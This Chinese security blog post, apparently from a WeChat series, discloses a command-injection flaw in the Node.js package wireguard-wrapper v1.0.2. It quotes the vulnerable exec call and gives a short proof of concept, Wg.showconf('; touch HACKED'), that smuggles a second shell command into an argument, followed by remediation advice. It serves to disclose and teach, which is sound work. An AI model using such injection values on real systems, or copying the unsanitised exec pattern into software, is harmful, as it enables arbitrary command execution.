安全娱乐圈之攻防技术交流系列文章 第7弹

  • A+
所属分类:安全文章


安全娱乐圈之攻防技术交流系列文章 第7弹


1


Node.js第三方模块 wireguard-wrapper 在 v1.0.2 版本中存在命令拼接注入,该漏洞允许攻击者在受害者的PC上执行任意命令,发生此问题的原因在于,用户输入的参数参与执行命令而未经任何检查。


2


存在问题代码如下:

// https://github.com/rostwolke/node-wireguard-wrapper/blob/master/src/command/Wg.js#L58'use strict';const {exec} = require('child_process');...  static showconf(device){    return new Promise(function(resolve, reject){      if(!device){        return reject('No device/interface specified');      }
exec(`wg showconf ${device}`, function(error, stdout, stderr){ if(error){ return reject(`Exec error: ${error}`); } if(stderr){ return reject(`StdErr: ${stderr}`); }    ....

device参数作为输入传递给exec函数。



3.1 先创建一个测试目录

mkdir testcd test


3.2 安装wireguard工具


3.3 安装wireguard-wrapper模块

npm i --save wireguard-wrapper


3.4 创建以下PoC 文件(poc.js)

const { Wg } = require('wireguard-wrapper');
Wg.showconf('; touch HACKED').then(function(config){ console.log('wg0 configuration:', config); console.log('generated configuration file:', config.toString());});


3.5 执行poc.js文件,创建HACKED文件

node poc.js


4


4.1 禁止使用不安全的用户输入来串联执行命令;

4.2 对用户的输入进行严格的检查,过滤掉具有危害的语句;

4.3 使用 child_process.execFile 函数 或 child_process.spawn 函数代替child_process.exec 函数。


星光不问赶路人,岁月不负有心人!

安全娱乐圈之攻防技术交流系列文章 第7弹

    加油,网安人!


攻防技术交小圈子招募新成员

转发本文到朋友圈

集齐8个点赞

后台回复“ 技术交流 ”获取入群信息

凭点赞截图进入技术交流小群

上限99人,先到先得


安全娱乐圈之攻防技术交流系列文章 第7弹

● 安全娱乐圈之攻防技术交流系列文章 第1弹

● 安全娱乐圈之攻防技术交流系列文章 第2弹

● 安全娱乐圈之攻防技术交流系列文章 第3弹

● 安全娱乐圈之攻防技术交流系列文章 第4弹

● 安全娱乐圈之攻防技术交流系列文章 第5弹

● 安全娱乐圈之攻防技术交流系列文章 第6弹

本文始发于微信公众号(西子实验室):安全娱乐圈之攻防技术交流系列文章 第7弹

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: